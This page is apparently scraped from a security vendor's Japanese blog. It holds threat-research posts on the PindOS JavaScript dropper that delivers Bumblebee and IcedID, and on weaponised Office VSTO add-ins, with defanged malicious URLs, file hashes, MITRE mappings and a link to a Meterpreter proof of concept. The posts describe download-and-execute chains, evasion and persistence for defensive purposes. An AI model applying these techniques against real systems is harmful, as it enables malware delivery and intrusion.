di_blog_post

Deep Instinct prevents more advanced threats than any EPP or EDR in the world.

Deep Instinct Blog: Breaking News and Updates

プラットフォームの概要

エンドポイントの先にあるもの

エンドポイント セキュリティ

製品

ランサムウェアの予防

ゼロデイ攻撃の防止

EPPの有効性の向上

EDRでは不十分

ファイルレス攻撃の阻止

ソリューション

サイバーセキュリティにおける深層学習

Deep Instinctのお客様

Deep Instinctが信頼される理由

Deep Instinctについて

ニュース

採用

お問い合わせ

会社概要

カタログ/資料

ブログ

デモ動画

トレーニング

リソース

資料請求/デモリクエスト

カスタマーポータル

インテグレーション/コンプライアンス

クイックリンク

アプリケーション向けの対策

+ Microsoft Defender

従来のAVを置き換える

カタログ・資料

オンラインセミナー

リーダーシップメンバー

ボードメンバー

国内販売代理店

パートナ

content_block

Perspective & Findings

ブログを読む

Emotet再来! 2023年最初のマルスパムの波

emotet-returns-2023-blog.jpg

Listing preview

Perspective & Findings

Emotet再来! 2023年最初のマルスパムの波

image_media_card

2022年ガートナー®マジック・クアドラントのEPP部門でDeep Instinctが唯一の新規ベンダーに選ばれた理由

死から蘇った、2022年のエモテット

The Re-Emergence of Emotet

Emotetの休暇は終了：悪い奴は休まない

Deep Instinct のトレンド

carousel_cards

listing_preview

Blog JP

pindos-js-dropper-blog.jpg

Deep Instinctの脅威リサーチラボは最近、BumblebeeとIcedIDを配信するJavaScriptベースのドロッパーの新種を発見しました。このドロッパーにはロシア語のコメントが含まれており、ロシアにおける現在（および過去）の <a href="https://en.wikipedia.org/wiki/Anti-American_sentiment_in_Russia#Pindos" target="_blank">反米コメント</a>の可能性がある独自のユーザーエージェント文字列 "PindOS" を採用しています。Bumblebeeは2022年3月に初めて発見されたマルウェアローダーです。<a href="https://info.deepinstinct.com/ja-jp/conti-leaks-cyber-threat-reports" target="_blank">Conti グループ</a> に関連しており、BazarLoaderの代替として使用されていました。ランサムウェアを含む他の複数のタイプのマルウェアの主要なベクターとして動作します。IcedIDは、金融情報を盗むために設計されたモジュラー型バンキングマルウェアです。少なくとも2017年以降出回っており、最近ではマルウェアの配信に重点を移していることが <a href="https://www.bleepingcomputer.com/news/security/new-icedid-variants-shift-from-bank-fraud-to-malware-delivery/" target="_blank">確認されています</a>。<h5>Bumblebeeのジレンマ - PowerShellかJavaScriptか？</h5><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltac10f75989680347" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltac10f75989680347/6493347d48e15a005746c1ff/fig00-bumble_meme.jpg" style="text-align: center;"/></figure>Bumblebeeの主な手口は、直近の<a href="https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads" target="_blank">大規模キャンペーン</a>を含め、非常に特徴的な難読化（「elemXXX」）を施したPowerShellベースのファーストステージを含みます。これは、埋め込まれた64ビットのペイロード.DLLのラッパーおよびロードルーチンとして機能します。このフローに関する我々の分析は、<a href="https://www.deepinstinct.com/ja/blog/the-dark-side-of-bumblebee-malware-loader" target="_blank">こちら</a>をご覧ください。PowerShellの代わりにJavaScriptに切り替わる可能性があることは、これまでBumblebeeが確立していたTTPに大きな変化をもたらします。<h5>IcedID - バンカーからローダーへ？</h5>最近の報告が示すように、IcedIDは部分的にEmotetの足跡をたどっているようであり、より一般化されたローダー型マルウェアになることを優先して、バンキングおよび金融系を狙った機能を放棄している可能性があります。新しいJavaScriptタイプのドロッパーとの関連は、この方向転換へのもう1つのステップと見ることができます。<h5>PindOS JavaScriptテクニカル分析</h5>難読化を解除すると、ドロッパーは驚くほどシンプルになります。これは、4つのパラメータを取得する単一の関数「exec」で構成されています：<ul><li>“UserAgent” – Bumblebee’sの .DLLをダウンロードする際に使用するユーザーエージェント文字列</li><li>“URL1” – ダウンロードする最初のアドレス</li><li>“URL2” – 2番目にダウンロードするアドレス</li><li>“RunDLL” – 呼び出すペイロード.DLLエクスポート関数</li></ul>実行されると、ドロッパーは最初にURL1からペイロードをダウンロードし、rundll32.exe経由で指定されたエクスポートを直接呼び出して実行しようとします。これが失敗すると、ドロッパーはURL2からペイロードをダウンロードし、PowerShellとrundll32.exeの組み合わせを使って実行しようとします。ダウンロードされたペイロードは %appdata%/Microsoft/Templates/&lt;6-char-random-number&gt;.dat に保存されます。<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blt310d8e627d3469ad" alt="図1 - PindOSの主な機能" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt310d8e627d3469ad/6493347db9a076b80b92866c/fig01-pindos-main-function.png" /></figure>図1 - PindOSの主な機能</figure>この関数は、4つの別々のURLで2回呼び出されます：<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><figure style = "float: none;width: 597px;max-width:597px;"><img asset_uid="blt94b88382eb4426e4" alt="図2 - Bumblebeeドロッパーからのexec関数呼び出し" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt94b88382eb4426e4/6493347dd5b9a5988d6de2e6/fig02-exec-function-call-from-bumblebee-dropper.png" height="52" style="max-width: 597px;width: 597px;height: 52px;" /></figure>図2 - Bumblebeeドロッパーからのexec関数呼び出し</figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt2ccea6ece70d6aef" alt="Figure 3 – exec function call from IcedID dropper" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2ccea6ece70d6aef/6493347d1fb2d3643c496f99/fig03-exec-call-from-icedid-dropper.png" style="text-align: center;"/>図3 - IcedIDドロッパーからのexec関数呼び出し</figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltf4668bbd24eb05b8" alt="Figure 4 – Payload download" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf4668bbd24eb05b8/6493347df7411b69d437e201/fig04-payload-download.png" style="text-align: center;"/>図4 - ペイロードのダウンロード</figure>取得されたペイロードは、擬似的にランダムに「オンデマンド」で生成され、その結果、ペイロードが取得されるたびに新しいサンプルハッシュが生成されます。このような手口は、シグネチャベースの検知を避けるために一般的に行われています。しかし、Bumblebeeの場合、「初見」のファイルでもサンプルがシグネチャで <a href="https://www.virustotal.com/gui/file/28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523/detection/f-28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523-1686560298" target="_blank">検出されやすいため</a>、以前のフロー（ペイロードを直接ディスクに書き込まない）と比べると、これはやや効果がないように思われます。検出されやすい理由は、生成されたペイロードのエクスポートと、生成された異なるサンプル間で変化せず、一定のままである他のいくつかのインジケータ部分によるものと思われます。<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt9a6ab350a777b88a" alt="Figure 5 – A generalized comparison of Bumblebee’s infection flows - “older” on the right; “newer” on the left." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9a6ab350a777b88a/64933d2de66699a1d52eb992/fig05-a-generalized-comparison-of-bumblebees-infection-flows.png" style="text-align: center;"/>図5 - Bumblebeeの感染フローの一般的な比較 - 右が 「古い」、左が 「新しい」</figure>Virus Totalによると、「初見 」のPindOSドロッパーの検出率は非常に低い：<img asset_uid="blt5a182e8e00749668" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5a182e8e00749668/64933d2d1fb2d36df6496fcb/fig06-vt-first-seen-detection-pindos-virus.png"/><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt6e2212907fb50273" alt="Figures 6 & 7 – VT first-seen detection for PindOS droppers" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6e2212907fb50273/64933d2d48a8ff009c477fde/fig07-vt-first-seen-detection-pindos-dropper.png" style="text-align: center;"/>図6と図7 - PindOSドロッパーのVT初見検知</figure><h5>Bumblebee DLLペイロード解析のハイライト</h5>このDLLペイロードは、以前に遭遇したものとは若干異なっています。動的には非常によく似ていますが、難読化のレイヤーがいくつか追加されています。アンチデバッグおよびアンチVM/サンドボックス機能はそのままですが、<a href="https://github.com/FFmpeg/FFmpeg/blob/1617d1a752d5e97d5e74f6c384609c027c884553/libavutil/error.c" target="_blank">FFmpegプロジェクトのオープンソース</a> プロジェクトの "error.c "ファイルから取られた 「正規のように見える」 文字列がいくつか追加されており、同じプロジェクトの他のいくつかのファイルが目くらましの目的で追加されています：<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt64d2e5ce682d4b38" alt="Figure 8 – Strings found in Bumblebee DLL" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt64d2e5ce682d4b38/6493347d9601bc69e508214d/fig08-strings-found-in-bumblebee-dll.png" style="text-align: center;"/>図8 - Bumblebee DLLで見つかった文字列</figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltff29e3f9d11aa98a" alt="Figure 9 – FFmpeg project source, “error.c” file." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltff29e3f9d11aa98a/6493347dea50bc3ffabea7f4/fig09-ffmpeg-project-source-error.c-file.png" style="text-align: center;"/>図9 - FFmpegプロジェクトのソース、"error.c "ファイル</figure>もう1つの違いは、以前のBumblebee DLLには2つの主要なエクスポート機能がありましたが、新しいDLLには4つのエクスポート機能があることです。<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt3c905274f728fa88" alt="Figure 10 – “New” Bumblebee DLL Exports" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3c905274f728fa88/6493347dd2420473b31cd636/fig10-new-bumblebee-dll-exports.png" style="text-align: center;"/>図 10 - 「新しい」Bumblebee DLL エクスポート</figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltcb5ad0e83176edf1" alt="Figure 11 – “Old” Bumblebee DLL exports, with main “SetPath” function" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcb5ad0e83176edf1/6493347d75c2ae82940617e7/fig11-old-bumblebee-dll-exports-with-main-setpath-function.png" style="text-align: center;"/>図11 - 「古い」Bumblebee DLLエクスポート、メイン "SetPath "関数付き</figure>DLLをさらに調べると、前の変形と同じメイン関数にたどり着きます。<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltec80d5d7fc0f0819" alt="Figure 12 – “SetPath” in the “new” Bumblebee DLL." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltec80d5d7fc0f0819/6493347ee6669913502eb96f/fig12-setpath-in-the-new-bumblebee-dll.png" style="text-align: center;"/>図12 - 「新しい」Bumblebee DLLの "SetPath"</figure><h5>結論</h5>Bumblebeeの最新の「実験」は、検知リスクを低減する手段として、疑似ランダム・サンプル生成を活用しようとするものです。これは、PindOSドロッパーを「共有」しているIcedIDを含め、金融/バンキングマルウェアの攻撃者によって長年使用されてきました。PindOSがBumblebeeやIcedIDの背後にいるグループによって恒久的に採用されるかどうかはまだ分かりません。この "実験"がこれらの "仲間"であるマルウェア群の配信に成功すれば、彼らの武器庫における恒久的なツールとなり、他の攻撃者たちの間で人気を博すかもしれません。Bumblebeeと <a href="https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/" target="_blank">IcedID</a> はランサムウェアを配信することが知られているため、セキュリティチームはこれらのIOCに注意することをお勧めします。IOCの最新リストは<a href="https://github.com/deepinstinct/PindOS-JS-Dropper" target="_blank">GitHubページ</a>でご覧いただけます。<h5>IOCs</h5><ul><li>Network Artifact User-Agent: PindOS</li><li>Bumblebee infection URLs hxxps://qaswrahc.com/wp-content/out/mn[.]php hxxp://tusaceitesesenciales.com/mn[.]php hxxp://carwashdenham.com/mn[.]php hxxps://intellectproactive.com/dist/out/mn[.]php</li><li>Bumblebee .JS dropper SHA256 bcd9b7d4ca83e96704e00e378728db06291e8e2b50d68db22efd1f8974d1ca91 07d2cb0dc0cd353fb210b065733743078e79c4a27c42872cd516a6b1fb1f00d1 00ec8f3900336c7aeb31fef4d111ee6e33f12ad451bc5119d3e50ad80b2212b0 15da5b0a65dd8135273124da0c6e52e017e3b54642f87571e82d2314aae97eec 180a935383b39501c7bdf2745b3a334841f01a7df9d063fecca587b5cc3f5e7a</li><li>Bumblebee DLL payload SHA256 24dd5c33b8a5136bdf29d0c07cf56ef0e33a285bb12696a8ff65e4065cb18359 76c9780256e195901e1c09cb8a37fb5967f9f5b36564e380e7cf2558652f875b 28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523 ac261ac26221505798c65c61a207f3951cc7dce2e1014409d8a765d85bfd91d4</li><li>IcedID infection URLs hxxps://masar-alulaedu.com/wp-content/woocommerce/out/berr[.]php hxxps://egyfruitcorner.com/wp-content/tareq/out/berr[.]php hxxps://tech21africa.com/wp-content/uploads/out/berr[.]php hxxps://www.posao-austrija.at/images/out/lim[.]php hxxps://logisticavirtual.org/wp-content/out/lim[.]php hxxps://adecoco.us/wp-content/out/lim[.]php hxxps://acsdxb.net/wp-content/out/lim[.]php</li><li>IcedID .JS dropper SHA256 92506fe773db7472e7782dbb5403548323e65a9eb2e4c15f9ac65ee6c4bd908b c84c84387f0b9e7bc575a008f36919448b4e6645e1f5d054e20b59be726ee814 7355656f894ae26215f979b953c8fa237dc39af857a6b27754a93adb1823f3b6 8f40ff286419eb4b0c4d15710dc552afb2c2a227a180f4b4f520d09b05724151</li><li>IcedID DLL payload SHA256 9101975f7aca998da796fc15a63b36ab8aa0fe0aed0b186aaed06a3383d5f226 4f0c9c6fc1287ef16f4683db90dd677054a1f834594494d61d765fa3f2e1352c cb307d7fa6eaac6a975ad64ff966ff6b0b0fdd59109246c2f6f5e8d50a33e93c 361b0157ef63d362fdd4399288f5f6a0e1536633dfb49c808a3590718c4d8f10 e71c9ac9ddd55b485e636840da150db5cd2791d0681123457bd40623acd8311c 8ae3be9f09f5fc64ec898a4d6467b2f6e50eaaa26fc460a4f1a9b9566e97a9a7</li></ul><h5>MITRE ATT&amp;CK</h5><table><thead><tr><th style="width: 13%;">タクティクス</th><th>テクニック</th><th>概要</th><th>オブザーバブル</th></tr></thead><tbody><tr><td>エグゼキューション</td><td>コマンドとスクリプトのインタープリタ： JavaScript - T1059.007</td><td>攻撃者はJavaScriptのさまざまな実装を悪用して実行する可能性がある</td><td>.JS Droppers</td></tr><tr><td>防御回避</td><td>システムバイナリプロキシ実行： Rundll32 - T1218.001</td><td>攻撃者はrundll32.exeを悪用し、悪意のあるコードの実行を代理する可能性がある</td><td>Rundll32.exe 使用状況</td></tr><tr><td>防御回避</td><td>難読化されたファイルまたは情報 - T1027</td><td>攻撃者は、実行ファイルやファイルの内容を暗号化、符号化、あるいはシステム上や転送中に難読化することで、発見や分析を困難にする可能性がある</td><td>難読化JS、"Random" 生成ペイロード</td></tr></tbody></table>

PindOS：BumblebeeとIcedIDを運ぶ新しいJavaScriptドロッパー

blog-image-bpfdoor-malware.jpg

マルウェア「BPFDoor」が進化 - スニッフィングバックドアの機能を強化

VSTO-blog.png

<h3>はじめに</h3>Office Visual Basic for Applications (VBA) のマクロは、数十年にわたり、多くの脅威者の<a href="/blog/types-of-dropper-malware-in-microsoft-office" target="_blank">核となるツール</a>となっていますこのツールにより、巧妙どころか、 <a href="https://www.trustedsec.com/blog/malicious-macros-for-script-kiddies/" target="_blank">とても巧妙な脅威者</a>が、世界中の無数のデバイスに目もくらむような数のマルウェアを送り込むことができるようになりました。そして長い間、Windows PCを感染させ、危険にさらす最も一般的な攻撃経路として、その役割を担ってきました。また、ネットワーク侵害、データ漏洩、ランサムウェアのインシデントを引き起こす悪意のあるキルチェーンの最初のリンクの重要なコンポーネントとして機能してきました。このようなマクロを使った脅威ですが、マイクロソフト社が、Webマーク（ファイルがローカルマシンから発信されていないことを示す）が付いたOfficeファイル内のVBAマクロを <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked" target="_blank">デフォルトでブロックする</a>という仕様変更をしたことにより、最近その勢いが弱まってきています。これにより、この攻撃対象は大幅に減少し、脅威者は代替となる攻撃経路を模索することを余儀なくされました。その1つが、最近流行している.LNK（ショートカット）ファイルの使用です。この例については、当社の最近の<a href="https://www.deepinstinct.com/ja/blog/the-dark-side-of-bumblebee-malware-loader" target="_blank">レポート</a>でご覧いただけます。また、Visual Studio Tools for Office (VSTO)もその一例です。以下では、VSTOが重要な攻撃経路となり得る、いくつかの「実戦的」な例について説明します。<h3>VSTOとは？</h3>ソフトウェア開発ツールセットのひとつで、マイクロソフト社のVisual Studio IDEで利用可能です。これは、Officeアドイン（Officeアプリケーション拡張の一種）を.NETで開発することを可能にし、また、これらのアドインを配信し実行するOfficeドキュメントを作成することを可能にします。さらに、VSTOアドインは、それらが開発された特定のOfficeアプリケーション（Word、Excelなど）に関連付けることができ、そのアプリケーションが起動するたびに実行されるので、コードを実行する能力に加えて興味深い永続化オプションを提供します。VSTOアドインはOfficeドキュメントと一緒にパッケージされるか（ローカルVSTO）、あるいは、VSTOベアリングOfficeドキュメントが開かれたときにリモートロケーションからフェッチされる（リモートVSTO）ことが可能です。ただし、この場合は信頼関連のセキュリティ・メカニズムをバイパスする必要があるかもしれません。<h3>脅威のベクトルとしてのVSTO</h3>現在の脅威の現状を観察すると、VSTOは（<a href="https://twitter.com/gN3mes1s/status/939146796605018113" target="_self">かなり前</a>から<a href="https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/" target="_blank">議論されていた</a> にもかかわらず）まだ珍しいベクトルであると言えます。しかし、難解な攻撃ベクトルが使われている場合にはよくあることですが、ほとんどのセキュリティベンダーによって検出されていないため、近い将来、普及が進む可能性があります。VSTOを含むOfficeファイルには、VSTOを含まないOfficeファイルと区別するためのいくつかのインジケータが含まれており、そのうちの主要なものは、Officeアプリケーションがアドインの場所を特定しインストールするために使用する”_AssemblyLocation”および”_AssemblyName”プロパティを含む”custom.xml”XMLが含まれていることです。<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="bltae692c45fce8c9be" alt="図1 - ローカルVSTOアドインを参照する " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltae692c45fce8c9be/63da8c54df2bf910c80316e8/fig01-custom-xml-referring-local-vsto-add-in.png" /><figcaption style = "text-align: center;" style="text-align: center;">図1 - ローカルVSTOアドインを参照する "custom.xml" XMLの例</figcaption></figure><h3>ローカルVSTO</h3>VSTOがローカルの 「フレーバー」で採用された場合、.NETコンパイルされた.DLL 「アドイン」とその依存関係は、それを実行するために作成されたOffice文書とともに、一般的に.ISOファイルのような「コンテナ」に格納されます。ポルトガル語圏のユーザーを対象とした以下の詳細な例では、悪意のあるWord文書と隠れたVSTO「アドイン」およびその依存関係を含む悪意のある.ISOファイルのサンプルを見ることができます。<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="blt54d82b8f46d9881c" alt="図2 - 悪意のある.ISO、ここでは隠しファイルは表示されていない" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt54d82b8f46d9881c/63da8c54c8540a111ada8b4b/fig02-malicious-iso-hidden-files-not-shown.png" /><figcaption style = "text-align: center;" style="text-align: center;">図2 - 悪意のある.ISO、ここでは隠しファイルは表示されていない</figcaption></figure><figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="blta83b367d030dd885" alt="図3 - 悪意のある.ISO、隠しファイル（ほとんどが依存関係にある）- ハイライト表示されているのがWord文書とVSTO「アドイン」ペイロード" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta83b367d030dd885/63da8c545b2c1e6188c56ec2/fig03-malicious-iso-hidden-files-shown.png" /><figcaption style = "text-align: center;" style="text-align: center;">図3 - 悪意のある.ISO、隠しファイル（ほとんどが依存関係にある）- ハイライト表示されているのがWord文書とVSTO「アドイン」ペイロード</figcaption></figure>被害者が悪意のあるWord文書を開くと、「Enable Content」ボタンをクリックして悪意のあるVBAマクロを実行させるのと非常によく似た方法で、「アドイン」をインストールするように促されます。<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="blt41d8d794383d1aa8" alt="図4 - Word文書（" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt41d8d794383d1aa8/63da8c540cf395166a6e22fb/fig04-word-doc-prompts-user-to-allow-add-in.png" /><figcaption style = "text-align: center;" style="text-align: center;">図4 - Word文書（"Eventos_CDG_1Maio.docx"）に、「アドイン」のインストールを許可するかどうかを尋ねるプロンプトが表示される</figcaption></figure><figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="blt1785537237489441" alt="図5-“Eventos_CDG_1Maio.docx”に含まれる悪意のある”custom.xml”は、.ISOファイル上のローカルに存在する隠れた「アドイン」を参照している" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1785537237489441/63da8c54e480c910d1acbbb7/fig05-malicious-custom-xml-contained-by-eventos-referring-to-hidden-add-in.png" /><figcaption style = "text-align: center;" style="text-align: center;">図5-“Eventos_CDG_1Maio.docx”に含まれる悪意のある”custom.xml”は、.ISOファイル上のローカルに存在する隠れた「アドイン」を参照している</figcaption></figure>ユーザーによって許可されると、悪意のあるアドインが実行されます。<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="bltfd8952f6b1cd8776" alt="図6 - VSTOのインストールプロンプト" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltfd8952f6b1cd8776/63da8c542d94ad4c89edc84d/fig06-vsto-installation-prompt.png" /><figcaption style = "text-align: center;" style="text-align: center;">図6 - VSTOのインストールプロンプト</figcaption></figure>「アドイン」ペイロードを調べると、エンコードされ圧縮されたPowerShellコードを実行するためのものであることがわかります。<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="bltff7e2e81ed5f2a4f" alt="図7 – “Eventos_CDG_1Maio.dll”ペイロードの”core”" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltff7e2e81ed5f2a4f/63da8c544ad09d10da61ae0b/fig07-eventos_cdg_1maio.dll-payload-core.png" /><figcaption style = "text-align: center;" style="text-align: center;">図7 – “Eventos_CDG_1Maio.dll”ペイロードの”core”</figcaption></figure>興味深い点は、上記のコードの親 .NET 名前空間が "schell_test" であることです。これは、このサンプルの登場の約2週間前の <a href="https://medium.com/@airlockdigital/make-phishing-great-again-vsto-office-files-are-the-new-macro-nightmare-e09fcadef010" target="_blank">Daniel Schell氏の投稿</a>で参照されています。上記を解読すると、このスニペットはCommand & Controlサーバーから追加のPowerShellコードを配信し、実行することを目的としています。<figure style = "margin: auto; text-align: center;width: 387px;"><img asset_uid="blt2deb8b0052b3ec77" alt="図8 - PowerShellのスニペットをデコードし、解凍したもの" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2deb8b0052b3ec77/63da8c543d28dd4dde642bc5/fig08-decoded-and-decompressed-powershell-snippet.png" /><figcaption style = "text-align: center;" style="text-align: center;">図8 - PowerShellのスニペットをデコードし、解凍したもの</figcaption></figure>残念ながら、この第2段階の追加コードは、本サンプルの調査前にオフラインになってしまったため、入手することができませんでした。<h3>リモートVSTO</h3>VSTOは、リモート方式で使用することもできます。つまり、アドインは、それを配信し実行するために作成されたOffice文書とは別に保存することができます。これは、VSTOを使用した攻撃の検出や防止をより困難にすると思われます。しかし、信頼できる発行者証明書などの様々な信頼関連のセキュリティチェックメカニズムを回避する必要があるため、攻撃者にとって実行までのプロセスがより複雑になる可能性もあります。以下の例では、悪意のあるWord文書から、リモートで保存されたVSTO「アドイン」への参照を見ることができます。<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="bltf4e068fa4bdd09dc" alt="図9 - リモートVSTO”custom.xml” XML" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf4e068fa4bdd09dc/63da8c545ca8a710cf4b7226/fig09-remote-vsto-custom-xml.png" /><figcaption style = "text-align: center;" style="text-align: center;">図9 - リモートVSTO”custom.xml” XML</figcaption></figure>脅威インテリジェンスデータの相互参照によって得られた「アドイン」.DLLペイロードを調べると、パスワードで保護された.ZIPアーカイブをダウンロードし、ユーザの%AppDataLocalフォルダでそれを展開し、含まれる”conhost.exe”ファイルを実行しようとする次のコードが含まれていることがわかります。<figure style = "margin: auto; text-align: center;width: autopx;"><img asset_uid="blt29d36f5d1f3a9676" alt="図10 「第3ステージ」のペイロードの配信と実行コード" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt29d36f5d1f3a9676/63da8c54e4e29e75dc5df0ee/fig10-3rd-stage-payload-delivery-and-execution-code.png" /><figcaption style = "text-align: center;" style="text-align: center;">図10 「第3ステージ」のペイロードの配信と実行コード</figcaption></figure>残念ながら、このサンプルを調査する前にオフラインになってしまったため、第3段階のアーカイブとその中に含まれるペイロード（"conhost.exe"）を入手することは出来ませんでした。<h3>VTSO攻撃シナリオのPOC</h3>上記のサンプルに関連する最終的なペイロードを入手できなかったため、研究的な意味合いも含めて、複数のタイプの攻撃シナリオにおけるVSTOの使用方法について、概念実証（POC）を行うことにしました。

上のビデオでは、Meterpreterペイロードの配信と実行、および被害者のマシン上でのパーシステンスの確立を示すPOCのデモを見ることができます。POCコードは、<a href="https://github.com/deepinstinct/VSTO-POC" target="_blank">GitHubの公開リポジトリ</a>でご覧いただけます。このテストの中では、シンプルで検知可能なMeterpreterペイロードを使用したことを留意していただく必要があります。そのため、上記のビデオを撮影するために、<a href="https://www.deepinstinct.com/ja/vs-microsoft-defender" target="_blank">Microsoft Windows Defender</a>を無効にする必要がありました。しかし、POCコンポーネントの残りの部分は完全に検出されませんでした。<h3>結論</h3>VSTOアドインは、脅威の世界ではまだ比較的珍しい存在ですが、その実行能力（理論的には、完全な機能を持つマルウェア全体をVSTOアドインとして.NETで記述・開発可能）と持続性の両面から、より多くの脅威者が採用し、利用が増えていくことを予想しています。特に、国家やその他の「ハイレベル」な脅威者は、盗んだ（あるいは入手した）信頼できる証明書などの手段によって、Windows環境に存在する信頼メカニズムを回避する能力を獲得する可能性が高いため、この傾向は顕著になるでしょう。<h3>IOCs</h3>5530F5D20016E3F0E6BBC7FAD83EEC56F118179D4C5D89FC26863C37482F8930 E74DD27FF0BA050BBC006FD579B8022E07B570804588F0E861CC4B1321A3EC48 0526F63486DE882CCF33374DCA4B093219A8FD93014BABE794715F04FF49B151 B3282DC58AD961911D94B712CEA11F649B0BA785D7FF74D7ED9946E1260DD521 40C9D3D58CE5DB0C6D18184E5813C980CD7B72EFC7505C53CD13E60860EF8157 78D6A2C0B52E9E5AF8007BC824EFD5846585A3056B3A0E6EFDFA7E60EED48C8C hxxps://34.241.171.114/ hxxp://classicfonts.live/<h3>MITRE Mapping</h3><table><thead class="bg-grey"><tr><th style="width: 15%;">Tactic</th><th>Technique</th><th>Description</th><th>Observable</th></tr></thead><tbody><tr><td>Execution</td><td>T1204.002User Execution: Malicious File</td><td>User must open a malicious document</td><td>E74DD27FF0BA050BBC006FD579B8022E07B570804588F0E861CC4B1321A3EC48</td></tr><tr><td>Execution</td><td>T1059.001Command and Scripting Interpreter: PowerShell</td><td>PowerShell code is executed</td><td>0526F63486DE882CCF33374DCA4B093219A8FD93014BABE794715F04FF49B151</td></tr><tr><td>Defense Evasion</td><td>T1553.005Subvert Trust Controls: Mark-of-the-Web Bypass</td><td>.ISO container file used</td><td>5530F5D20016E3F0E6BBC7FAD83EEC56F118179D4C5D89FC26863C37482F8930</td></tr><tr><td>Defense Evasion</td><td>T1027Obfuscated Files or Information</td><td>Obfuscation used; Password protected file used.</td><td>0526F63486DE882CCF33374DCA4B093219A8FD93014BABE794715F04FF49B151, 78D6A2C0B52E9E5AF8007BC824EFD5846585A3056B3A0E6EFDFA7E60EED48C8C</td></tr><tr><td>Persistence</td><td>T1137.006Office Application Startup: Add-ins</td><td>VSTO Add-In's may be used for persistence</td><td>E62E05D9DE5DAAB900FC32941727870C018D7CFD46E2BAC43EF360B80B3A0B31</td></tr></tbody></table>

Macroが使えない？でも大丈夫。VSTOを武器にする脅威者たち

basta-blog.png

はじめに最近出現したランサムウェア「Black Basta」は、急速に注目される脅威となり、世界中の SecOps チームが恐れる存在になりました。Black Bastaは、Qakbot/Qbot を配信手段として使用し、Linux ESXiシステムも標的にして、標的となる環境に潜在的な影響を増幅させることで、すでに複数の侵害が確認されています。Black Bastaの起源Black Bastaを運営しているグループについては知られていませんが、現在は活動を停止しているContiグループとTORネットワークサイトが類似していることから、両者が関連している可能性があります。Black Bastaは、Contiグループが解散した時にそこから分離した分派グループであることが示唆されています。Black Basta と Qbot - 攻撃のための強力なパートナーBlack Bastaは自己増殖しません。その代わりに、Qbot を利用して標的環境全体に伝播し、このバンキング トロージャンを介してペイロードを送り込みます。Qbotは、10年以上にわたって脅威の現場ではよく知られている存在です。このトロイの木馬は、大規模なフィッシング メール キャンペーンを通じて配布されることが多く、Office ドキュメント、.HTML ファイル、.ISO、および .LNK を含む複数のファイルタイプを使用し、多くの場合、複雑で多段階のダウンローダーを採用しています。また、Qbot は脆弱性の悪用や、.DLL のサイドローディングなど、あまり一般的ではない手法も採用しています。<figure style = "float: none;width: 568px;max-width:auto;"><img 